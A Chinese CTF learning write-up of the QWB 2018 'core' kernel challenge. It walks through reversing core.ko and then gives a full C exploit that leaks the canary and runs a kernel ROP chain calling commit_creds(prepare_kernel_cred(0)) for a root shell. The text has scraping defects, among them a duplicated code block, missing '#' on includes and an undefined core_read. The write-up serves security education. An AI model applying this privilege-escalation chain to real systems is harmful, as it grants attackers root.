前言:最近刚入手内核题,所以这里跟着ctfwiki进行学习下,大佬勿喷。。。
第一步很经典。。。如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。
看到start.sh发现开启了kalsr随机化,需要进行泄露计算基地址,这里跟用户态pwn题很相似
看下init:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了
第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包
checksec看下驱动保护:
[*] '/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
开启了Canary found,需要泄露canary
将core.ko拖到IDA里进行逆向分析
init_module() 注册了 /proc/core | |
__int64 init_module() | |
{ | |
core_proc = proc_create("core", 438LL, 0LL, &core_fops); | |
printk("\x016core: created /proc/core entry\n"); | |
return 0LL; | |
} |
exit_core() 删除 /proc/core
__int64 exit_core() | |
{ | |
__int64 result; // rax | |
if ( core_proc ) | |
result = remove_proc_entry("core"); | |
return result; | |
} |
exit_core() 删除 /proc/core
__int64 exit_core() | |
{ | |
__int64 result; // rax | |
if ( core_proc ) | |
result = remove_proc_entry("core"); | |
return result; | |
} |
core_ioctl() 定义了三条命令,分别调用 core_read(),core_copy_func() 和设置全局变量 off
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) | |
{ | |
switch ( a2 ) | |
{ | |
case 0x6677889B: | |
core_read(a3); | |
break; | |
case 0x6677889C: | |
printk("\x016core: %d\n"); | |
off = a3; | |
break; | |
case 0x6677889A: | |
printk("\x016core: called core_copy\n"); | |
core_copy_func(a3); | |
break; | |
} | |
core_copy_func(v3); | |
} |
core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 使我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址
void __fastcall core_read(__int64 a1) | |
{ | |
__int64 v1; // rbx | |
char *v2; // rdi | |
signed __int64 i; // rcx | |
char v4[64]; // [rsp+0h] [rbp-50h] | |
unsigned __int64 v5; // [rsp+40h] [rbp-10h] | |
v1 = a1; | |
v5 = __readgsqword(0x28u); | |
printk("\x016core: called core_read\n"); | |
printk("\x016%d %p\n"); | |
v2 = v4; | |
for ( i = 16LL; i; --i ) | |
{ | |
*(_DWORD *)v2 = 0; | |
v2 += 4; | |
} | |
strcpy(v4, "Welcome to the QWB CTF challenge.\n"); | |
if ( copy_to_user(v1, &v4[off], 64LL) ) | |
__asm { swapgs } | |
} |
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了
void __fastcall core_copy_func(signed __int64 a1) | |
{ | |
char v1[64]; // [rsp+0h] [rbp-50h] | |
unsigned __int64 v2; // [rsp+40h] [rbp-10h] | |
v2 = __readgsqword(0x28u); | |
printk("\x016core: called core_writen"); | |
if ( a1 > 63 ) | |
printk("\x016Detect Overflow"); | |
else | |
qmemcpy(v1, name, (unsigned __int16)a1); // overflow | |
} |
core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) | |
{ | |
unsigned __int64 v3; // rbx | |
v3 = a3; | |
printk("\x016core: called core_writen"); | |
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) | |
return (unsigned int)v3; | |
printk("\x016core: error copying data from userspacen"); | |
return 0xFFFFFFF2LL; | |
}. |
经过如上的分析,可以得出以下的思路:
通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
通过 core_write() 向 name 写,构造 ropchain
通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态,通过 system("/bin/sh") 等起 shell
如何获得 commit_creds(),prepare_kernel_cred() 的地址? | |
/tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址 | |
如何返回用户态? | |
swapgs; iretq,之前说过需要设置 cs, rflags 等信息,可以写一个函数保存这些信息 |
exp:
include <string.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <fcntl.h>
include <sys/stat.h>
include <sys/types.h>
include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
编译一下:
gcc exploit.c -static -masm=intel -g -o exploit
1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret | |
rop[i++] = 0; | |
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) | |
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret | |
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret | |
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; | |
rop[i++] = commit_creds; |
首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处,手动设置下
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret | |
rop[i++] = 0; | |
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; | |
rop[i++] = (size_t)spawn_shell; // rip | |
rop[i++] = user_cs; | |
rop[i++] = user_rflags; | |
rop[i++] = user_sp; | |
rop[i++] = user_ss; |
总结:学到了内核rop的技术,希望继续进步。。